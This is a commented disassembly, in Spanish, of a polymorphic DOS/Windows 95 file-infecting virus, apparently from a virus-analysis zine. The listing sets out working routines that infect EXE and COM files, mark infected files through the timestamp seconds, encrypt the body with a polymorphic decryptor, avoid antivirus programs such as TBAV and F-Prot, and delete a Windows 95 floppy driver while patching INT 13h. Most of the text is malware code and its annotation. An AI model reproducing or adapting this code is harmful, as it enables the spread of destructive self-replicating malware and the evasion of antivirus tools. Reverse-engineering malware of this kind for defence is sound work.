        ∩0DA6:0467 1E            PUSH    DS       Ω; ES = CS                                 ∩0DA6:0468 07            POP     ES                                                  ∩0DA6:0469 BA6A1E        MOV     DX,1E6A  Ω; DX = 1E6A, que parece ser es el                                                  Ω; buffer del virus                         ∩0DA6:046C E856FE        CALL    02C5     Ω; Lee 28 bytes del inicio del archivo     ∩0DA6:046F 8BF2          MOV     SI,DX    Ω; SI = DX = 1E6Ah                         ∩0DA6:0471 FC            CLD              Ω; Carga en AL los dos primeros bytes      ∩0DA6:0472 AD            LODSW                                                       ∩0DA6:0473 3D4D5A        CMP     AX,5A4D  Ω; Comprueba si es la cadena 'MZ' (ini-                                             Ω; cio de un EXE)                           ∩0DA6:0476 7405          JZ      047D     Ω; Si es, salta                            ∩0DA6:0478 3D5A4D        CMP     AX,4D5A  Ω; Comprueba si es 'ZM' (un EXE puede                                               Ω; empezar de las dos maneras)              ∩0DA6:047B 751E          JNZ     049B     Ω; Si no es, salta a infectar como COM                                                                                          ∩0DA6:047D 58            POP     AX       Ω; Saca AX (que tenía en AL los segun-                                              Ω; dos del archivo)                         ∩0DA6:047E F6068C0104    TEST    BYTE PTR [018C],04 Ω; Mira si el bit 2 de [018C]                                            Ω; está a 1, lo que significa que esta-                                              Ω; mos en WINDOWS 95                         ∩0DA6:0483 740B          JZ      0490    Ω; Si no estamos, salta                     ∩0DA6:0485 3C11          CMP     AL,11   Ω; Comprueba si los segundos están a 34     ∩0DA6:0487 7426          JZ      04AF    Ω; Si están, salta                          ∩0DA6:0489 E85F00        CALL    04EB    Ω; Macro-función para infectar el EXE       ∩0DA6:048C 7317          JNB     04A5    Ω; Si no hay error, salta y continúa        ∩0DA6:048E EB22          JMP     04B2    Ω; Salta                                                                           Ω; Aquí desde :0483 si no estamos en                                                 Ω; WINDOWS 95                                 ∩0DA6:0490 3C11          CMP     AL,11   Ω; Mira si los segundos están a 34          ∩0DA6:0492 751B          JNZ     04AF    Ω; Si no están, salta                       ∩0DA6:0494 E8E40B        CALL    107B    Ω; Desinfecta el EXE                        ∩0DA6:0497 7316          JNB     04AF    Ω; Si no hay error, salta y continúa        ∩0DA6:0499 EB17          JMP     04B2    Ω; Si hay error, salta a :04B2                                                     Ω; Aquí desde :047B si el archivo es un                                              Ω; COM                                        ∩0DA6:049B 58            POP     AX      Ω; Saca AX                                  ∩0DA6:049C 3C11          CMP     AL,11   Ω; Comprueba si los segundos están a 34     ∩0DA6:049E 7412          JZ      04B2    Ω; Si están, salta y acaba                  ∩0DA6:04A0 E84E01        CALL    05F1    Ω; Infecta el COM, y devuelve CF si ha                                              Ω; habido algún error al ir a infectar       ∩0DA6:04A3 720A          JB      04AF    Ω; Si hay error, salta y acaba                                                     Ω; Aquí desde :048C si no ha habido error                                            Ω; al infectar el EXE                         ∩0DA6:04A5 A17E01        MOV     AX,[017E] Ω; Coge en AX la hora del archivo         ∩0DA6:04A8 24E0          AND     AL,E0   Ω; Anula los 5 bits inferiores (los que                                             Ω; indican los segundos)                     ∩0DA6:04AA 0C11          OR      AL,11   Ω; Pone los segundos a 34                   ∩0DA6:04AC A37E01        MOV     [017E],AX Ω; Pone esta modificación en la hora                                                Ω; del archivo                             ∩0DA6:04AF E8C801        CALL    067A    Ω; Restaura la fecha original               ∩0DA6:04B2 B43E          MOV     AH,3E   Ω; Cierra el handle del archivo             ∩0DA6:04B4 E80EFE        CALL    02C5                                                ∩0DA6:04B7 E8E501        CALL    069F    Ω; Restaura los atributos anteriores        ∩0DA6:04BA E84C0D        CALL    1209    Ω; Restaura los punteros a las interrup-                                            Ω; ciones 24h y 1Bh que fueron parchea-                                              Ω; das antes                                 ∩0DA6:04BD 5E            POP     SI      Ω; Saca todos los registros del stack       ∩0DA6:04BE 5F            POP     DI                                                  ∩0DA6:04BF 1F            POP     DS                                                  ∩0DA6:04C0 07            POP     ES                                                  ∩0DA6:04C1 5A            POP     DX                                                  ∩0DA6:04C2 59            POP     CX                                                  ∩0DA6:04C3 5B            POP     BX                                                  ∩0DA6:04C4 58            POP     AX                                                  ∩0DA6:04C5 C3            RET             Ω; Retorna                                                                                                                       ε;;; Rutina para parchear la interrupción 13h y borrar el archivo de WINDOWS 95      ε;;; X:\WINXXX\SYSTEM\IOSUBSYS\HSFLOP.PDR, todo ello si el WINDOWS 95 está acti-     ε;;; vo y por tanto es el sistema operativo del sistema                                                                                                                   ∩0DA6:04C6 E8AF02        CALL    0778        Ω; Llama a la rutina que tiene pa-                                                  Ω; ra borrar, si está en WINDOWS                                                     Ω; 95, el archivo situado en la ruta                                                 Ω; X:\WINXXX\SYSTEM\IOSUBSYS llama-                                                  Ω; do HSFLOP.PDR                         ∩0DA6:04C9 B80A16        MOV     AX,160A     Ω; Mira si WINDOWS está activo          ∩0DA6:04CC CD2F          INT     2F                                                  ∩0DA6:04CE 0BC0          OR      AX,AX       Ω; Si no está, salta y retorna          ∩0DA6:04D0 7518          JNZ     04EA                                                ∩0DA6:04D2 80FF04        CMP     BH,04       Ω; Mira si es WINDOWS 95                ∩0DA6:04D5 7213          JB      04EA        Ω; Si no lo es, retorna                 ∩0DA6:04D7 B84554        MOV     AX,5445     Ω; Mira si la int 13h está redirec-     ∩0DA6:04DA CD13          INT     13          Ω; cionada por el virus                 ∩0DA6:04DC 3D5445        CMP     AX,4554     Ω; ¿Le devuelve el valor esperado?      ∩0DA6:04DF 7509          JNZ     04EA        Ω; Si no está parcheada la int 13h,                                                 Ω; sale                                  ∩0DA6:04E1 E89402        CALL    0778        Ω; Llama de nuevo a la rutina para                                                  Ω; borrar el dichoso archivo             ∩0DA6:04E4 7201          JB      04E7        Ω; Si hay Carry Flag, quiere decir                                                  Ω; que ha encontrado el archivo pe-                                                  Ω; ro ha ocurrido un error inespe-                                                   Ω; rado al ir a borrarlo, y entonces                                                 Ω; salta y ejecuta la siguiente ru-                                                  Ω; tina                                  ∩0DA6:04E6 C3            RET                 Ω; Retorna si lo ha habido éxito        ∩0DA6:04E7 E8FE15        CALL    1AE8        Ω; Rutina para sobreescribir con                                                    Ω; la instrucción con la que empie-                                                  Ω; za siempre la int 13h la instruc-                                                 Ω; ción de JMP FAR que había inserta-                                                Ω; do el virus, para que cualquier                                                   Ω; llamada a la int 13h fuera redi-                                                  Ω; reccionada a la rutina en :1B37       ∩0DA6:04EA C3            RET                 Ω; Retorna                                                                                                                   ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;;; RUTINA DE INFECCION DE EXEs                                      ;;;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:04EB 833E821E40    CMP     WORD PTR [1E82],+40 Ω; Comprueba si el word en                                                 Ω; el byte nº 18h de la cabecera EXE                                                 Ω; leída (la dirección de la tabla                                                   Ω; de realojamiento) es 0040h             ∩0DA6:04F0 7504          JNZ     04F6       Ω; Si no es, salta                       ∩0DA6:04F2 F9            STC                Ω; Carry Flag a 1                        ∩0DA6:04F3 E9FA00        JMP     05F0       Ω; Salta y acaba                         ∩0DA6:04F6 BF6B01        MOV     DI,016B    Ω; En DI la zona donde guardará in-                                                 Ω; formación de la cabecera que usa-                                                 Ω; rá a la hora de ejecutar el host       ∩0DA6:04F9 BE7E1E        MOV     SI,1E7E    Ω; SI = byte nº14h de la cabecera,                                                  Ω; que contiene el IP inicial del                                                    Ω; EXE                                    ∩0DA6:04FC A5            MOVSW              Ω; Copia el IP y el CS                   ∩0DA6:04FD A5            MOVSW                                                       ∩0DA6:04FE BE781E        MOV     SI,1E78    Ω; Ahora coge el SS y SP iniciales       ∩0DA6:0501 BF7101        MOV     DI,0171    Ω; Copia primero el SS en [0171], y      ∩0DA6:0504 A5            MOVSW              Ω; después el SP en [016F]. Son ga-      ∩0DA6:0505 83EF04        SUB     DI,+04     Ω; nas de complicarse la vida y au-      ∩0DA6:0508 A5            MOVSW              Ω; mentar el tamaño del virus, pues-                                                Ω; to que después coge cada valor                                                    Ω; por separado y no como puntero.        ∩0DA6:0509 8BF2          MOV     SI,DX      Ω; SI = 1E6Ah                            ∩0DA6:050B C606790101    MOV     BYTE PTR [0179],01 Ω; Pone el tipo de ejecuta-                                                 Ω; ble como EXE en [0179]                 ∩0DA6:0510 E8330E        CALL    1346       Ω; Rutina para comprobar si el archi-                                               Ω; vo ya está infectado. Si lo está,                                                 Ω; devuelve Carry Flag                    ∩0DA6:0513 72DE          JB      04F3       Ω; Si hay Carry Flag, salta y acaba      ∩0DA6:0515 A17E01        MOV     AX,[017E]  Ω; Pone en AX la hora del archivo        ∩0DA6:0518 A37701        MOV     [0177],AX  Ω; La copia a [0177]                     ∩0DA6:051B 8B4402        MOV     AX,[SI+02] Ω; Coge en AX el resto de dividir el                                                Ω; tamaño del archivo entre 512           ∩0DA6:051E A37301        MOV     [0173],AX  Ω; Lo mete en [0173]                     ∩0DA6:0521 8B4404        MOV     AX,[SI+04] Ω; Ahora mete en AX el cociente de                                                  Ω; dividir el tamaño del archivo en-                                                 Ω; tre 512 (+1 si el resto no es 0)       ∩0DA6:0524 A37501        MOV     [0175],AX  Ω; Lo pone en [0175]                     ∩0DA6:0527 8B4404        MOV     AX,[SI+04] Ω; ?? ¿No lo ha hecho ya?                ∩0DA6:052A BA0002        MOV     DX,0200    Ω; En DX el valor 200h                   ∩0DA6:052D 837C0200      CMP     WORD PTR [SI+02],+00 Ω; Mira si el resto de di-                                                Ω; vidir el tamaño del archivo entre                                                 Ω; 512 es 0                               ∩0DA6:0531 7401          JZ      0534       Ω; Si es, se salta el decremento         ∩0DA6:0533 48            DEC     AX         Ω; Decrementa AX, que tiene el tama-                                                Ω; ño del archivo / 512                   ∩0DA6:0534 F7E2          MUL     DX         Ω; Multiplica AX por 512 para sacar                                                 Ω; el tamaño real del archivo             ∩0DA6:0536 89167C01      MOV     [017C],DX  Ω; Mete en [017C] el Hi-Word del ta-                                                Ω; maño de archivo                        ∩0DA6:053A 8B5402        MOV     DX,[SI+02] Ω; Coge el resto en DX                   ∩0DA6:053D 03C2          ADD     AX,DX      Ω; Lo suma a AX                          ∩0DA6:053F 83167C0100    ADC     WORD PTR [017C],+00 Ω; Suma 1 al Hi-Word si hay                                                Ω; rebosamiento                           ∩0DA6:0544 A37A01        MOV     [017A],AX  Ω; Mete el Lo-Word del tamaño en                                                    Ω; [017A]                                 ∩0DA6:0547 50            PUSH    AX         Ω; Guarda AX                             ∩0DA6:0548 33C9          XOR     CX,CX      Ω; CX = 0                                ∩0DA6:054A 8BD1          MOV     DX,CX      Ω; DX = 0                                ∩0DA6:054C B80242        MOV     AX,4202    Ω; Desplaza el puntero de handle al                                                                                           ∩0DA6:054F E873FD        CALL    02C5       Ω; final del archivo y devuelve en                                                  Ω; el par DX-AX el tamaño del archi-                                                 Ω; vo (DX el Hi-Word, AX el Lo-Word)      ∩0DA6:0552 2B067A01      SUB     AX,[017A]  Ω; Resta a AX el word en [017A]. Es-                                                Ω; to es exactamente lo mismo que                                                    Ω; hacer CMP AX,[017A], pero bueno.       ∩0DA6:0556 7405          JZ      055D       Ω; Si es 0, continúa. Si no es 0,                                                   Ω; hay error en la cabecera, y enton-                                                Ω; ces evita infectarlo                   ∩0DA6:0558 58            POP     AX         Ω; Saca AX para nivelar el stack         ∩0DA6:0559 F9            STC                Ω; Carry Flag a 1                        ∩0DA6:055A E99300        JMP     05F0       Ω; Vuelve                                                                           Ω; Aquí si la resta es 0                  ∩0DA6:055D 2B167C01      SUB     DX,[017C]  Ω; Ahora resta el Hi-Word obtenido                                                  Ω; por la función al obtenido antes                                                  Ω; por la cabecera                        ∩0DA6:0561 7405          JZ      0568       Ω; Si es 0, continúa                     ∩0DA6:0563 58            POP     AX         Ω; Saca AX. Se hubiera ahorrado un                                                  Ω; byte si hubiera puesto este POP                                                   Ω; AX entre las instrucciones en                                                     Ω; :055D y :0561, y no tendría que                                                   Ω; haber puesto el POP AX que hay                                                    Ω; en :0568                               ∩0DA6:0564 F9            STC                Ω; Carry Flag a 1                        ∩0DA6:0565 E98800        JMP     05F0       Ω; Salta y retorna. Se hubiera aho-                                                 Ω; rrado 5 bytes más si hubiera sus-                                                 Ω; tituido el grupo de instrucciones                                                 Ω; desde :0561 hasta :0565 inclusive                                                 Ω; por un JNZ  0558 en :0561              ∩0DA6:0568 58            POP     AX         Ω; Saca AX                               ∩0DA6:0569 8B0E7C01      MOV     CX,[017C]  Ω; Pone en CX el valor de Hi-Word        ∩0DA6:056D 8BD0          MOV     DX,AX      Ω; Pone en DX el valor de Lo-Word        ∩0DA6:056F B80042        MOV     AX,4200    Ω; Pone el puntero del handle al         ∩0DA6:0572 E850FD        CALL    02C5       Ω; principio del archivo más el tama-                                                Ω; ño de éste                            ∩0DA6:0575 B87B1E        MOV     AX,1E7B    Ω; En AX el tamaño del virus + 17        ∩0DA6:0578 8B5402        MOV     DX,[SI+02] Ω; En DX el resto del tamaño del ar-                                                Ω; chivo al dividirlo entre 512           ∩0DA6:057B 03D0          ADD     DX,AX      Ω; Suma a este resto el valor en AX      ∩0DA6:057D FF4404        INC     WORD PTR [SI+04] Ω; Incrementa el word en SI+04                                                                                          ∩0DA6:0580 81EA0002      SUB     DX,0200    Ω; Le resta 200h a DX                    ∩0DA6:0584 81FA0002      CMP     DX,0200    Ω; Comprueba si DX es mayor que 200h     ∩0DA6:0588 77F3          JA      057D       Ω; Si es mayor, hace LOOP                ∩0DA6:058A 7502          JNZ     058E       Ω; Si no es 200h, salta                  ∩0DA6:058C 33D2          XOR     DX,DX      Ω; Pone DX a 0                                                                      Ω; Al final de todo este LOOP, ha                                                    Ω; hecho lo mismo que si hubiera co-                                                 Ω; gido el tamaño del archivo, le                                                    Ω; hubiera sumado el tamaño del vi-                                                  Ω; rus y lo hubiera dividido entre                                                   Ω; 512                                    ∩0DA6:058E 895402        MOV     [SI+02],DX Ω; Mete el resto en la parte que to-                                                Ω; ca                                     ∩0DA6:0591 8B4408        MOV     AX,[SI+08] Ω; Coge el tamaño de la cabecera en                                                 Ω; párrafos                               ∩0DA6:0594 B91000        MOV     CX,0010    Ω; Lo multiplica por 10                  ∩0DA6:0597 F7E1          MUL     CX                                                  ∩0DA6:0599 8B0E7A01      MOV     CX,[017A]  Ω; Coge en CX el Lo-Word de tamaño       ∩0DA6:059D 2BC8          SUB     CX,AX      Ω; Resta a CX el Lo-Word de tamaño                                                  Ω; de la cabecera                         ∩0DA6:059F 19167C01      SBB     [017C],DX  Ω; Hace lo mismo con el Hi-Word del                                                 Ω; tamaño de la cabecera y lo resta                                                  Ω; al Hi-Word de tamaño con acarreo,                                                 Ω; es decir, que si ha habido rebose                                                 Ω; en la resta anterior, le restará                                                  Ω; uno más                                ∩0DA6:05A3 8B3E7C01      MOV     DI,[017C]  Ω; Coge en DI el Hi-Word de tamaño                                                  Ω; resultante                             ∩0DA6:05A7 8BF1          MOV     SI,CX      Ω; En SI el Lo-Word                      ∩0DA6:05A9 8BD7          MOV     DX,DI      Ω; En DX el Hi-Word                      ∩0DA6:05AB 8BC6          MOV     AX,SI      Ω; En AX el Lo-Word                      ∩0DA6:05AD B91000        MOV     CX,0010    Ω; Lo divide entre 10 para pasarlo       ∩0DA6:05B0 F7F1          DIV     CX         Ω; a párrafos                            ∩0DA6:05B2 8BF8          MOV     DI,AX      Ω; Mete el cociente en DI                ∩0DA6:05B4 8BF2          MOV     SI,DX      Ω; El resto en SI                                                                   Ω; Os parecerá una cursilada lo que                                                  Ω; voy a decir, pero esto es una ope-                                                Ω; ración preciosa: se coge el tama-                                                 Ω; ño del archivo, se le resta el                                                    Ω; tamaño de la cabecera, y al divi-                                                 Ω; dirlo por 16, el resto es el nuevo                                                Ω; IP y el cociente es el nuevo CS.                                                  Ω; De esta forma (que no sé quién se                                                 Ω; la inventaría, pero ya lo vimos                                                   Ω; en el virus BURGLAR) no hace fal-                                                 Ω; ta hacer cálculos o ir restando                                                   Ω; hasta que se encuentra un IP su-                                                  Ω; ficientemente bajo para que no                                                    Ω; rebose el segmento, como veremos,                                                 Ω; en la PhyMosys MAGAZINE 6, que ha-                                                Ω; ce el virus NATAS                      ∩0DA6:05B6 89366E0E      MOV     [0E6E],SI  Ω; Pone el nuevo IP en [0E6E]            ∩0DA6:05BA 89360100      MOV     [0001],SI  Ω; También lo pone en [0001], en el                                                 Ω; desencriptador                         ∩0DA6:05BE 81C66A1E      ADD     SI,1E6A    Ω; Le suma el tamaño del virus           ∩0DA6:05C2 89367A01      MOV     [017A],SI  Ω; Lo pone en [017A]                     ∩0DA6:05C6 893E7C01      MOV     [017C],DI  Ω; Pone DI en [017C]                     ∩0DA6:05CA FC            CLD                Ω; Hacia delante                         ∩0DA6:05CB BE7A01        MOV     SI,017A    Ω; En SI la dirección del par CS:IP                                                 Ω; inicial que ha encontrado              ∩0DA6:05CE BF7E1E        MOV     DI,1E7E    Ω; En DI el lugar de la cabecera don-                                               Ω; de irá el par CS:IP (los 4 bytes                                                  Ω; a partir del byte nº 14h)              ∩0DA6:05D1 A5            MOVSW              Ω; Lo copia                              ∩0DA6:05D2 A5            MOVSW                                                       ∩0DA6:05D3 E8BC03        CALL    0992       Ω; Hace un desencriptador, encripta                                                 Ω; el virus, lo copia al archivo y                                                   Ω; modifica la cabecera para que todo                                                Ω; quede listo (vale la pena ver esa                                                 Ω; función, es bastante compleja).        ∩0DA6:05D6 7218          JB      05F0       Ω; Si hay CF, salta y acaba              ∩0DA6:05D8 33C9          XOR     CX,CX      Ω; CX = DX = 0                           ∩0DA6:05DA 8BD1          MOV     DX,CX                                               ∩0DA6:05DC B80042        MOV     AX,4200    Ω; En AX, función de desplazamiento                                                 Ω; del puntero de archivo                 ∩0DA6:05DF E8E3FC        CALL    02C5       Ω; Int 21h. Lo desplaza al principio                                                Ω; del archivo                            ∩0DA6:05E2 E83F0C        CALL    1224       Ω; Pone la marca de infección en la                                                 Ω; cabecera y pone el nuevo SP que                                                   Ω; llevará el EXE al inicio               ∩0DA6:05E5 BA6A1E        MOV     DX,1E6A    Ω; En DX la dirección de la cabecera                                                Ω; modificada                             ∩0DA6:05E8 B440          MOV     AH,40      Ω; Función de escritura                  ∩0DA6:05EA B91C00        MOV     CX,001C    Ω; Escribe 1Ch (28) bytes en el ini-                                                Ω; cio del archivo (y sobreescribe                                                   Ω; la anterior cabecera)                  ∩0DA6:05ED E8D5FC        CALL    02C5       Ω; Int 21h                               ∩0DA6:05F0 C3            RET                Ω; Retorna                                                                                                                    ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;;    RUTINA DE INFECCION DE COMs                            ;;;;;;;;;;;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:05F1 C606790100    MOV     BYTE PTR [0179],00 Ω; Pone el tipo de archivo                                                  Ω; a COM                                  ∩0DA6:05F6 FC            CLD                Ω; DF a 0                                ∩0DA6:05F7 BF6B01        MOV     DI,016B    Ω; En DI la dirección donde irán los                                                Ω; 3 bytes iniciales del COM              ∩0DA6:05FA BE6A1E        MOV     SI,1E6A    Ω; En SI la dirección donde ha leído                                                Ω; el inicio del COM                      ∩0DA6:05FD E8460D        CALL    1346       Ω; Rutina para comprobar si el COM                                                  Ω; está ya infectado.                     ∩0DA6:0600 7211          JB      0613       Ω; Si está, salta a :0613                ∩0DA6:0602 B90300        MOV     CX,0003    Ω; Copia los 3 bytes iniciales del       ∩0DA6:0605 F3            REPZ               Ω; archivo a una zona segura             ∩0DA6:0606 A4            MOVSB                                                       ∩0DA6:0607 8BD1          MOV     DX,CX      Ω; CX = DX = 0                           ∩0DA6:0609 B80242        MOV     AX,4202    Ω; Desplaza el puntero de archivo        ∩0DA6:060C E8B6FC        CALL    02C5       Ω; al final. En DX-AX, el tamaño del                                                Ω; archivo.                               ∩0DA6:060F 0BD2          OR      DX,DX      Ω; Mira si DX es 0                       ∩0DA6:0611 7403          JZ      0616       Ω; Si es, continúa en :0616              ∩0DA6:0613 F9            STC                Ω; Pone Carry Flag                       ∩0DA6:0614 EB52          JMP     0668       Ω; Salta y retorna (podría haber                                                    Ω; puesto RET directamente, la ver-                                                  Ω; dad)                                                                             Ω; Aquí desde :0611 si es correcto el                                                Ω; tamaño del archivo                      ∩0DA6:0616 3D1E00        CMP     AX,001E    Ω; Comprueba si el tamaño del archi-                                                Ω; vo es 30 bytes                         ∩0DA6:0619 72F8          JB      0613       Ω; Si es menor, salta y acaba            ∩0DA6:061B 33C9          XOR     CX,CX      Ω; Vuelve a situar el puntero al fi-     ∩0DA6:061D 8BD1          MOV     DX,CX      Ω; nal (¿Otra vez? ¡¿Por qué?!)          ∩0DA6:061F B80242        MOV     AX,4202                                             ∩0DA6:0622 E8A0FC        CALL    02C5                                                ∩0DA6:0625 3D95D9        CMP     AX,D995    Ω; Comprueba si el tamaño máximo del                                                Ω; archivo es 55702 bytes                 ∩0DA6:0628 7203          JB      062D       Ω; Si es menor, salta y continúa         ∩0DA6:062A F9            STC                Ω; CF a 1                                ∩0DA6:062B EB3B          JMP     0668       Ω; Salta y retorna                       ∩0DA6:062D A36E0E        MOV     [0E6E],AX  Ω; Mete en [0E6E] el tamaño del ar-                                                 Ω; chivo                                  ∩0DA6:0630 81066E0E0001  ADD     WORD PTR [0E6E],0100 Ω; Suma al valor en [0E6E]                                                          Ω; 100h para sacar el valor                                                          Ω; de inicio donde irá el                                                            Ω; virus en el COM              ∩0DA6:0636 A30100        MOV     [0001],AX  Ω; Mete el valor este en [0001], en                                                 Ω; el desencriptador del principio        ∩0DA6:0639 810601000001  ADD     WORD PTR [0001],0100 Ω; Le suma 100h para sacar                                                          Ω; el inicio                    ∩0DA6:063F BF6801        MOV     DI,0168    Ω; DI = 0168h                            ∩0DA6:0642 C605E9        MOV     BYTE PTR [DI],E9 Ω; DI = 0E9h (opcode de JMP                                                         Ω; LONG)                            ∩0DA6:0645 2D0300        SUB     AX,0003    Ω; Resta 3 a AX y le suma el tamaño      ∩0DA6:0648 056A1E        ADD     AX,1E6A    Ω; del virus para construir el JMP                                                  Ω; hasta el final del archivo + el                                                   Ω; tamaño del virus (se le resta 3                                                   Ω; para descontar el tamaño del JMP)      ∩0DA6:064B 894501        MOV     [DI+01],AX Ω; Lo mete en [DI+01]. En DI ahora                                                  Ω; tiene la instrucción de salto                                                     Ω; inicial al virus                       ∩0DA6:064E E84103        CALL    0992       Ω; Encripta el virus, crea un desen-                                                Ω; criptador polimórfico y lo copia                                                  Ω; al final del archivo                   ∩0DA6:0651 7215          JB      0668       Ω; Si hay error, salta y acaba           ∩0DA6:0653 33C9          XOR     CX,CX      Ω; Pone el puntero al principio del      ∩0DA6:0655 8BD1          MOV     DX,CX      Ω; archivo                               ∩0DA6:0657 B80042        MOV     AX,4200                                             ∩0DA6:065A E868FC        CALL    02C5                                                ∩0DA6:065D B90300        MOV     CX,0003    Ω; Copia el JMP construido               ∩0DA6:0660 BA6801        MOV     DX,0168                                             ∩0DA6:0663 B440          MOV     AH,40                                               ∩0DA6:0665 E85DFC        CALL    02C5                                                ∩0DA6:0668 C3            RET                Ω; Retorna                                                                                                                    ε;;;; Rutina para obtener la fecha y hora de un archivo cuyo handle tenemos en       ε;;;; BX y guardarlas en lugar seguro                                                                                                                                     ∩0DA6:0669 B80057        MOV     AX,5700        Ω; Coge la fecha y hora del ar-      ∩0DA6:066C E856FC        CALL    02C5           Ω; chivo recién abierto en CX                                                       Ω; y DX                               ∩0DA6:066F 2E            CS:                    Ω; La guarda en variables suyas      ∩0DA6:0670 890E7E01      MOV     [017E],CX                                           ∩0DA6:0674 2E            CS:                                                         ∩0DA6:0675 89168001      MOV     [0180],DX                                           ∩0DA6:0679 C3            RET                    Ω; Retorna                                                                                                                ε;;; Rutina para restaurar la fecha que se cogió y se guardó en [017E] y [0180]      ε;;; y volverlas a poner al archivo vinculado al handle en BX                                                                                                             ∩0DA6:067A B80157        MOV     AX,5701                                             ∩0DA6:067D 2E            CS:                                                         ∩0DA6:067E 8B0E7E01      MOV     CX,[017E]                                           ∩0DA6:0682 2E            CS:                                                         ∩0DA6:0683 8B168001      MOV     DX,[0180]                                           ∩0DA6:0687 E83BFC        CALL    02C5                                                ∩0DA6:068A C3            RET                                                                                                                                              ε;;;;; Rutina para guardar los atributos actuales de un archivo y ponéselos a 0                                                                                           ∩0DA6:068B B80043        MOV     AX,4300         Ω; Obtiene en CX los atributos      ∩0DA6:068E E834FC        CALL    02C5            Ω; del archivo apuntado por                                                         Ω; DS:DX                             ∩0DA6:0691 2E            CS:                     Ω; Los guarda en [0186]             ∩0DA6:0692 890E8601      MOV     [0186],CX                                           ∩0DA6:0696 B80143        MOV     AX,4301         Ω; Le limpia los atributos al       ∩0DA6:0699 33C9          XOR     CX,CX           Ω; archivo, de manera que ya no     ∩0DA6:069B E827FC        CALL    02C5            Ω; importa si tenía atributos                                                       Ω; de sólo lectura o no              ∩0DA6:069E C3            RET                     Ω; Retorna                                                                                                               ε;;; Rutina para poner a un archivo los atributos que tenía antes de cambiárse-      ε;;; los para la infección                                                                                                                                                ∩0DA6:069F B80143        MOV     AX,4301                                             ∩0DA6:06A2 2E            CS:                                                         ∩0DA6:06A3 8B0E8601      MOV     CX,[0186]                                           ∩0DA6:06A7 E81BFC        CALL    02C5                                                ∩0DA6:06AA C3            RET                                                                                                                                              ε;;;; Rutina para comprobar el nombre del archivo y mirar si es un archivo es-       ε;;;; pecial (COMMAND.*, CHKDSK, TBAV, F-PROT o IV* o tiene la letra V en su         ε;;;; nombre). Además de devolver Carry Flag si es, pone a 1 ciertos bits en         ε;;;; [018C], según el archivo que sea.                                                                                                                                   ∩0DA6:06AB 1E            PUSH    DS        Ω; Guarda DS                              ∩0DA6:06AC 0E            PUSH    CS        Ω; CS = DS                                ∩0DA6:06AD 1F            POP     DS                                                  ∩0DA6:06AE FC            CLD               Ω; Hacia delante                          ∩0DA6:06AF BE4807        MOV     SI,0748   Ω; En SI el inicio de la cadena del                                                 Ω; nombre del archivo                      ∩0DA6:06B2 83EB04        SUB     BX,+04    Ω; Resta 4 a BX, que contiene la lon-                                               Ω; gitud del nombre con extensión.                                                   Ω; Ahora ya no coge la extensión           ∩0DA6:06B5 7236          JB      06ED      Ω; Si es menor, vuelve con Carry Flag                                               Ω; (el salto condicional JB también                                                  Ω; puede traducirse como JC)               ∩0DA6:06B7 8B04          MOV     AX,[SI]   Ω; Pone en AX los dos caracteres ini-                                               Ω; ciales de la cadena                     ∩0DA6:06B9 3D5442        CMP     AX,4254   Ω; Comprueba si es 'TB' (del Thunder-                                               Ω; byte AntiVirus)                         ∩0DA6:06BC F9            STC               Ω; Pone el CF a 1                         ∩0DA6:06BD 742E          JZ      06ED      Ω; Si es, salta y retorna sin más         ∩0DA6:06BF 3D462D        CMP     AX,2D46   Ω; Mira si es 'F-' (de F-Prot)            ∩0DA6:06C2 7432          JZ      06F6      Ω; Si es, salta a :06F6                   ∩0DA6:06C4 3D4956        CMP     AX,5649   Ω; Mira si es 'IV' (no sé qué progra-                                               Ω; ma o anti-virus será)                   ∩0DA6:06C7 742D          JZ      06F6      Ω; Si es, salta a :06F6                   ∩0DA6:06C9 3D4348        CMP     AX,4843   Ω; Mira si es 'CH' (de CHKDSK)            ∩0DA6:06CC 7421          JZ      06EF      Ω; Si es, salta a :06EF                   ∩0DA6:06CE B056          MOV     AL,56     Ω; Pone en AL el valor de 'V'             ∩0DA6:06D0 BF4807        MOV     DI,0748   Ω; En DI el inicio de la cadena           ∩0DA6:06D3 8BCB          MOV     CX,BX     Ω; CX = BX (longitud del nombre del                                                 Ω; archivo sin extensión)                  ∩0DA6:06D5 41            INC     CX        Ω; Incrementa CX                          ∩0DA6:06D6 F2            REPNZ             Ω; Busca la letra 'V' en el nombre        ∩0DA6:06D7 AE            SCASB                                                       ∩0DA6:06D8 0BC9          OR      CX,CX     Ω; CX será 0 si no la ha encontrado       ∩0DA6:06DA F9            STC               Ω; Pone CF a 1                            ∩0DA6:06DB 7510          JNZ     06ED      Ω; Si no es 0, salta a :06ED              ∩0DA6:06DD BF4807        MOV     DI,0748   Ω; En Di el inicio de la cadena           ∩0DA6:06E0 BE5507        MOV     SI,0755   Ω; En SI la cadena 'COMMAND'              ∩0DA6:06E3 8BCB          MOV     CX,BX     Ω; En CX la longitud del archivo          ∩0DA6:06E5 F3            REPZ              Ω; Comprueba mientras sea 0               ∩0DA6:06E6 A6            CMPSB                                                       ∩0DA6:06E7 0BC9          OR      CX,CX     Ω; Si el nombre del archivo es                                                      Ω; COMMMAND, CX será 0                     ∩0DA6:06E9 F9            STC               Ω; Pone CF a 1                            ∩0DA6:06EA 7401          JZ      06ED      Ω; Si es 0, salta                         ∩0DA6:06EC F8            CLC               Ω; CF a 0                                 ∩0DA6:06ED 1F            POP     DS        Ω; Saca el DS guardado                    ∩0DA6:06EE C3            RET               Ω; Retorna                                                                                                                                                               Ω; Aquí llega si el nombre del archi-                                                Ω; vo empieza por 'CH' (porque podría                                                Ω; ser CHKDSK)                             ∩0DA6:06EF 800E8C0102    OR      BYTE PTR [018C],02 Ω; Pone el bit 1 de [018C]       ∩0DA6:06F4 1F            POP     DS                 Ω; a 1, y saca DS                ∩0DA6:06F5 C3            RET                        Ω; Retorna                                                                                                                                                      Ω; Aquí llega si las primeras letras                                                 Ω; del nombre del archivo coinciden                                                  Ω; con las primeras de alguno de los                                                 Ω; antivirus 